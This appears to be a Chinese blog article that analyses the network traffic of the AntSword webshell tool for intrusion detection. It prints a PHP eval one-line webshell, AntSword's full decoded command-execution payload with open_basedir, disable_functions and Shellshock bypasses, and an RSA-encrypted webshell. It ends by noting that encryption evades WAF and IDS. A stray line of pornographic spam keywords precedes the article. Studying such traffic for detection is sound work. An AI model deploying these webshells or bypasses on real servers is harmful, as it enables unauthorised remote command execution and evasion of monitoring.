亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

網(wǎng)絡(luò)安全流量分析工具蟻劍詳細(xì)介紹

 更新時(shí)間:2022年09月15日 15:03:01   作者:真不想起名TAT  
蟻劍(AntSword)是一款開源的跨平臺(tái)WebShell管理工具,它主要面向于合法授權(quán)的滲透測(cè)試安全人員以及進(jìn)行常規(guī)操作的網(wǎng)站管理員,蟻劍推崇模塊化的開發(fā)思想,遵循開源,就要開得漂亮的原則,致力于為不同層次的人群提供最簡(jiǎn)單易懂、方便直接的代碼展示及其修改說明

25號(hào)那一天,冰蝎恰好更新到了 4.0 版本,當(dāng)時(shí)引得流量監(jiān)控的老哥很緊張,告訴我要看好 IDS 警報(bào)。因?yàn)橐坏?WebShell 攻破就有可能在內(nèi)網(wǎng)采取行動(dòng)。

然后引發(fā)我極大的好奇,決定活動(dòng)結(jié)束后回去好好研究。

現(xiàn)在在家閑的沒事,就先研究一下蟻劍吧,剩下的冰蝎、哥斯拉過幾天研究。

1. 未加密流量形式

我們可以直接寫一個(gè)簡(jiǎn)單的一句話木馬

<?php 
    @eval($_POST[sa]);
?>

此時(shí)是沒有進(jìn)行流量加密的,我們上交到服務(wù)器,然后進(jìn)行抓包

進(jìn)行 URL 解碼后,我們收到的是一段 PHP 代碼(很長(zhǎng)不想看的建議滑過去看后面的內(nèi)容)

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.1b7683e8cb4";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", " /");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out)
{
    return $out;
};
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "cdd3" . "7c35e";
    echo @asenc($output);
    echo "c9cb" . "8c28";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["m0300de6257f67"], 2));
    $s = base64_decode(substr($_POST["k0252207ae80f4"], 2));
    $envstr = @base64_decode(substr($_POST["i6813797614ba8"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv(" PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv(" PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c>$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join(" ", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    };
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

不要慌,雖然它很長(zhǎng)

但是看縮進(jìn)就會(huì)發(fā)現(xiàn)函數(shù)占絕大部分

代碼的思路也很簡(jiǎn)單

在發(fā)送指令的時(shí)候,代碼和指令是一塊發(fā)過去的.

在上面的圖中,我們可以看見除了代碼,還有其他的 POST 指令也被傳了過去,只不過是一堆無規(guī)則的字符

而這就值得關(guān)注了,可以發(fā)現(xiàn)是基于 Base64 編碼的.

當(dāng)然,直接解碼依舊是會(huì)得到亂碼

所以我們要去看源碼

我們注意到這部分源碼

    $p = base64_decode(substr($_POST["m0300de6257f67"], 2));
    $s = base64_decode(substr($_POST["k0252207ae80f4"], 2));
    $envstr = @base64_decode(substr($_POST["i6813797614ba8"], 2));

要從第三位開始,前面的兩位作廢

所以我們解碼可以得到

文件路徑和我剛才輸進(jìn)去的 whoami 指令

后面的 pwd 在 Linux 中是查看當(dāng)前路徑

其他的則意義不明,在返回的響應(yīng)中,也有部分字符串

這些可以說是很容易被各種網(wǎng)安設(shè)備給識(shí)別出來

2. RSA 加密

那么我們看看警告 RSA 加密后的流量又能看出什么規(guī)律呢?

我們生成密鑰后,用蟻劍給的 PHP 代碼,作為 WebShell

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQO/mlYt7jFDW6WxYBUequ/Wgv
Ecw3K9Jn618bPR0TBZ0PHk0gGYKNoysfqp38N7rr0eq38C8yXLYdi7wT+SUboHUZ
2y83XM0R3R5pM5NMe2pS7b5J6N0Ad1hSz1rYDhOO2FZ0Ilw0g9gtF+bkNNpPJLLf
Z7V8le4rSJWXc8ObewIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);

3. Base64 加密

如果我們使用 Base64 編碼呢?

然后我們對(duì)內(nèi)容進(jìn)行解碼

可以說跟沒加密的內(nèi)容是大差不差的了

4. cHr 加密

再使用 cHr 編碼呢?

5. 其他

其實(shí)還有 Rot13 ,除了 RSA 加密,這三種都有 eval 敏感函數(shù),可以很容易被防火墻鑒別并阻擋

所以說好的加密方式是可以繞過 WAF 和 IDS 等網(wǎng)安設(shè)備。

到此這篇關(guān)于網(wǎng)絡(luò)安全流量分析工具蟻劍詳細(xì)介紹的文章就介紹到這了,更多相關(guān)網(wǎng)絡(luò)安全蟻劍內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論